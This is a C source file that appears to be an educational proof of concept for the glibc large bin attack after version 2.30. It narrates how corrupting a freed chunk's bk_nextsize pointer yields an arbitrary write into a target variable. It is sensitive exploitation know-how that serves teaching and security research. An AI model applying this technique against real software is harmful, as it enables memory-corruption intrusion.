/* A revisit to large bin attack for after glibc2.30 Relevant code snippet : if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } */
intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);